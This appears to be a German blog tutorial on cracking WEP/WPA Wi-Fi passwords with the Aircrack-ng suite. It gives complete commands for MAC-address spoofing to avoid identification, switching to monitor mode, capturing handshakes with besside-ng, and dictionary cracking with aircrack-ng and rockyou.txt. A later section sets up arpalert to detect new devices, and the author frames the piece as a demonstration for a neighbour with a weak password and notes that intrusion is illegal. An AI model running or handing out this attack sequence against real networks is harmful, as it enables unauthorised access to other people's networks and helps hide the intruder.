Viele Anleitungen und auch die gängige Fachliteratur nutzen die klassischen Tools der Aircrack-ng Suite airodump-ng(8) und aireplay-ng(8). Vergleiche diese Anleitung: How to Crack WPA/WPA2
Die Aircrack-ng Suite bietet aber auch experimentelle Tools wie besside-ng(8), um ein WLAN zu hacken. Es knackt einen WEP- oder WPA-Schlüssel ohne Benutzereingriff.
Installation der Aircrack-ng Suite
Die Aircrack-ng Suite kann über die Paketverwaltung installiert werden:
apt install aircrack-ng
Es empfiehlt sich jedoch die experimentellen Tools, direkt von Upstream zu installieren:
# Bauabhänigkeiten installieren apt build-dep aircrack-ng
# Aircrack-ng aus den Quellen installieren git clone https://github.com/aircrack-ng/aircrack-ng cd aircrack-ng NOCONFIGURE=1 ./autogen.sh ./configure --with-ext-scripts # enable experimental, extra scripts make make install
Die Tools liegen nun unterhalb von /usr/local und sind im PATH, so dass diese direkt in der Shell ausgeführt werden können.
MAC-Address spoofing
Bevor man das WLAN scannt, sollte man die MAC-Adresse des eigenen Adapter ändern. Dafür eignet sich z.B. das Tool macchanger(1):
apt install macchanger macchanger -a wlan0 # set random vendor MAC of the same kind
Siehe auch: www.privacy-handbuch.de
Wordlist
Vorweg muss gesagt werden, dass sich WPA, aktuell nur mittels Wörterbuch/Brute Force angreifen lässt.
Kali Linux hat im Paket wordlists das rockyou.txt Wörterbuch, das wie folgt installiert wird:
apt install wordlists gunzip /usr/share/wordlists/rockyou.txt.gz # entpacken
WLAN-Passwort knacken
WLAN-Passwörter können eine Länge von 8 bis 63 Zeichen haben. Laut den Vorgaben des BSI sollte das Passwort aus mindestens 20 Zeichen bestehen, was vom gewählten Verschlüsselungsverfahren unabhängig gilt.
besside-ng
# WLAN-Adapter in den monitor mode schalten airmon-ng start wlan0
# WPA-Handshakes aufzeichnen besside-ng -vvv wlan0mon
# Log verfolgen tail -f ./besside.log
Die WPA-Handshakes werden in der Datei ./wpa.cap gespeichert.
# Den monitor mode wieder abschalten airmon-ng stop wlan0mon
Versuchen das WLAN-Passwort zu erraten:
aircrack-ng -w /usr/share/wordlists/rockyou.txt ./wpa.cap
Über neue Geräte im WLAN benachrichtigt werden
Mit dem Tool arpalert(8) können neue Geräte im Netzwerk anhand der MAC-Adresse erkannt werden.
apt install arpalert
Dies installiert das Paket arpalert über die Paketverwaltung.
In der Datei /etc/arpalert/arpalert.conf muss der Wert für das zu überwachende Interface gesetzt werden, ansonsten wird einfach das erste Interface genommen. Es können mehrere Interfaces durch Kommata getennt angegeben werden.
interface = wlan0
Auch muss in der Datei /etc/arpalert/arpalert.conf ein Script für action on detect angegeben werden, das bei Alarm eine Aktion auslöst. Im Beispiel unten, soll eine E-Mail an root gesendet werden.
action on detect = /usr/local/sbin/arpalert-action-on-detect # s.u.
#!/usr/bin/env sh # ARP alert action # grep "action on detect" /etc/arpalert/arpalert.conf # action on detect = /usr/local/sbin/arpalert-action-on-detect mac="$1" ip="$2" extras="$3" device="$4" type_of_alert="$5" vendor="$6" case "$type_of_alert" in 0) subject="IP change $ip ($vendor)" ;; 1) subject="MAC already detected but not in white list" ;; 2) subject="MAC in black list" ;; 3) subject="New MAC $mac ($vendor)" ;; 4) subject="Unauthorized arp request" ;; 5) subject="Abusive number of arp request detected" ;; 6) subject="Ethernet MAC different from ARP MAC" ;; 7) subject="Flood detected" ;; 8) subject="New MAC whithout IP $mac ($vendor)" ;; 9) subject="MAC change $mac ($vendor)" ;; 10) subject="MAC expiere $mac ($vendor)" ;; *) subject="n/a" ;; esac mail -s "$subject" root <<! $device $ip $mac $vendor $subject ($type_of_alert) $extras !
Damit das eigene Gerät keinen Alarm auslöst, muss dessen MAC-Adressen in die Datei /etc/arpalert/maclist.allow eingetragen werden und weiterhin angegeben werden, dass die Events für ip_change und new_mac ignoriert werden sollen:
cat <<! >>/etc/arpalert/maclist.allow XX:XX:XX:YY:YY:YY 0.0.0.0 wlan0 ip_change ! service arpalert force-reload
Weitere Geräte können, dem obigen Schema folgend, als neue Zeilen hinzugefügt werden.
Ein WLAN-Router kann i.d.R. auch so konfiguriert werden, dass nur bestimmte MAC-Adressen (Geräte) überhaupt eine Verbinung aufbauen dürfen (Whitelist).
Die .leases leeren:
service arpalert stop >/var/lib/arpalert/arpalert.leases service arpalert start
Schlusswort
Diesen Artikel habe ich geschrieben, um einer Bekannten Nachbarin die ihr Geburtsdatum als WLAN-Passwort gesetzt hat zu zeigen, dass es nur wenige Minuten braucht, bis man dieses erraten hat. Ich habe dazu ein Wörterbuch erstellt, das ein paar Datumsangaben enthält: dates.gz
Wer sich ernsthaft in des Nachbarn WLAN einloggen will, sollte bedenken, dass MAC-Adresse und Hostname im WLAN-Router geloggt werden. Und vor allem, dass es verboten ist. Vielleicht mag noch jemand den Straftatbestand und das mögliche Strafmaß in die Kommentare schreiben!